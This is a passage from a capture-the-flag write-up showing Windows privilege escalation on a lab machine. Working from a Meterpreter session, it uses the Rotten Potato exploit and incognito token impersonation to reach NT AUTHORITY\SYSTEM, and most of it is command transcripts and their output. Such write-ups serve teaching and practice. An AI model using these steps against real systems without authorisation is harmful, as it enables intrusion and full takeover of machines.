Service accounts usually have special privileges (SeImpersonatePrivileges) and this could be used to escalate privileges.

I wont go into the details on how this exploit works, the article above explains it far better than I ever could.
Lets check our privileges with meterpreter:
```
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
```
Excellent, it looks like we have the privileges we need to perform the attack. Lets upload `rottenpotato.exe`
Back on our meterpreter session we load the `incognito` extension.
```
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah
Impersonation Tokens Available
========================================
No tokens available
```
We can see we currently have no Impersonation Tokens. Lets run the Rotten Potato exploit.
```
meterpreter > execute -f rottenpotato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah
Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM
```
We need to quickly impersonate the token or it will disappear.
```
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
Success! We have our SYSTEM shell and can grab the root.txt file!
